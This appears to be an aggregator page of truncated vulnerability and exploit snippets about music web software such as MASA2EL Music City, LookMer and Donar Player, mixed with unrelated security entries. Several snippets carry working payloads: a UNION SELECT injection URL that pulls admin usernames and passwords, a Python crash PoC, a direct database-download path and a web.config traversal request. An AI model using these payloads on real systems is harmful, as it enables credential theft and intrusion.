CVE-2010-1116

LookMer Music Portal stores sensitive information under the web root with insufficient access control, which allows remote attackers to download a database via a direct request for dbmdb/LookMerSarkiMDB.mdb...

CVE-2010-1116

LookMer Music Portal is affected by an improper access control vulnerability that allows remote attackers to download the database file dbmdb/LookMerSarkiMDB.mdb by directly requesting it from the web root. The issue stems from sensitive data stored under the web root with insufficient access con...

Sql injection

SQL injection vulnerability in index.php in MASA2EL Music City 1.0 and 1.1 allows remote attackers to execute arbitrary SQL commands via the id parameter in a singer action...

CVE-2010-1047

SQL injection vulnerability in index.php in MASA2EL Music City 1.0 and 1.1 allows remote attackers to execute arbitrary SQL commands via the id parameter in a singer action...

CVE-2010-1047

CVE-2010-1047 describes an SQL injection in index.php for MASA2EL Music City 1.0 and 1.1 that allows remote attackers to execute arbitrary SQL via the id parameter in a singer action. The vulnerability is documented across CVE/NVD sources; exploitation status is not detailed in the provided docum...

CVE-2010-1047

SQL injection vulnerability in index.php in MASA2EL Music City 1.0 and 1.1 allows remote attackers to execute arbitrary SQL commands via the id parameter in a singer action...

Donar Player 2.2.0 Denial Of Service

!/usr/bin/python Title: Donar Player 2.2.0 Local Crash PoC Date: 03-21-2010 Author: b0telh0 Link: http://www.donarzone.com/downloads/donar-player-setup-free.exe Tested on: Windows XP SP3 crash = "\x41" 1000 try: file = open'b0t.wma','w'; file.writecrash; file.close; print "\n+ b0t.wma created."...

Donar Player 2.2.0 - Local Crash (PoC)

!/usr/bin/python Title: Donar Player 2.2.0 Local Crash PoC Date: 03-21-2010 Author: b0telh0 Link: http://www.donarzone.com/downloads/donar-player-setup-free.exe Tested on: Windows XP SP3 crash = "\x41" 1000 try: file = open'b0t.wma','w'; file.writecrash; file.close; print "\n+ b0t.wma created."...

MASA2EL Music City v1. 0 remote injection vulnerability+exploit code-exploit warning-the black bar safety net

google:Powered By : MASA2EL Music City 1.0 Trojan: http://server/path/index.php?go=singer&id=-13//union//select//1,concatUserName,0x3a,PasSword,3,4//from//masa2eladmin,3,4//from//masa2eladmin--...

Debian DSA-1850-1 : libmodplug - several vulnerabilities

Several vulnerabilities have been discovered in libmodplug, the shared libraries for mod music based on ModPlug. The Common Vulnerabilities and Exposures project identifies the following problems : - CVE-2009-1438 It was discovered that libmodplug is prone to an integer overflow when processing a...

MASA2EL Music City v1. 0 remote injection vulnerability+exploit code-exploit warning-the black bar safety net

google:Powered By : MASA2EL Music City 1.0 Trojandownloader:http://server/path/index. php? go=singer&id=-13//union//select//1,concatUserName,0x3a,PasSword,3,4//from//masa2eladmin--...

Gary McGraw, Cigital

Like Geer, Gary has a unique view of the security world, one that is informed by his background in cognitive science and philosophy. He just doesn’t come at questions or problems the way that most people do, and that makes for interesting conversations. Gary’s among the top experts on software...

MASA2EL Music City v1. 0 remote injection vulnerability+exploit code-exploit warning-the black bar safety net

| google:Powered By : MASA2EL Music City 1.0 Trojandownloader:http://server/path/index. php? go=singer&id=-13//union//select//1,concatUserName,0x3a,PasSword,3,4//from//masa2eladmin-- ---...

MASA2EL Music City 1.0 SQL Injection

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Exploit Title : MASA2EL Music City Remote Sql Injection Vulnerability Author: alnjm33 Software Link: http://www.masa2el.com/index.php?go=dl&type=d&id=4 Tested on: Version 1.0 My home : Sec-war.com...

MASA2EL Music City 1.0 - SQL Injection

MASA2EL Music City 1.0 - SQL Injection :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Exploit Title : MASA2EL Music City Remote Sql Injection Vulnerability Author: alnjm33 Software Link: http://www.masa2el.com/index.php?go=dl&type=d&id=4 Tested on: Version 1....

MASA2EL Music City v1.0 Remote Sql Injection Vulnerability

Exploit for unknown platform in category web applications ========================================================== MASA2EL Music City v1.0 Remote Sql Injection Vulnerability ==========================================================...

MASA2EL Music City 1.0 - SQL Injection

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Exploit Title : MASA2EL Music City Remote Sql Injection Vulnerability Author: alnjm33 Software Link: http://www.masa2el.com/index.php?go=dl&type=d&id=4 Tested on: Version 1.0 My home : Sec-war.com...

LookMer Music Portal Database Disclosure

============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | // \ || || // \ || || ============================================================================== » Note : LionTurk.Turkblog.com Resmi Web Sitem :D...

daap-get-library NSE Script

Retrieves a list of music from a DAAP server. The list includes artist names and album and song titles. Output will be capped to 100 items if not otherwise specified in the daapitemlimit script argument. A daapitemlimit below zero outputs the complete contents of the DAAP library. Based on...

cuteeditor using the method of two-vulnerability and early warning-the black bar safety net

Author: m@w01f 1. Direct Download load. ashx configuration file http://www.7747.net/CuteSoftClie ... ../../../web. config Then view some of the sql configuration information from the sql database connection to start with connectionStrings add name="ynncConnectionString" connectionString="Server=....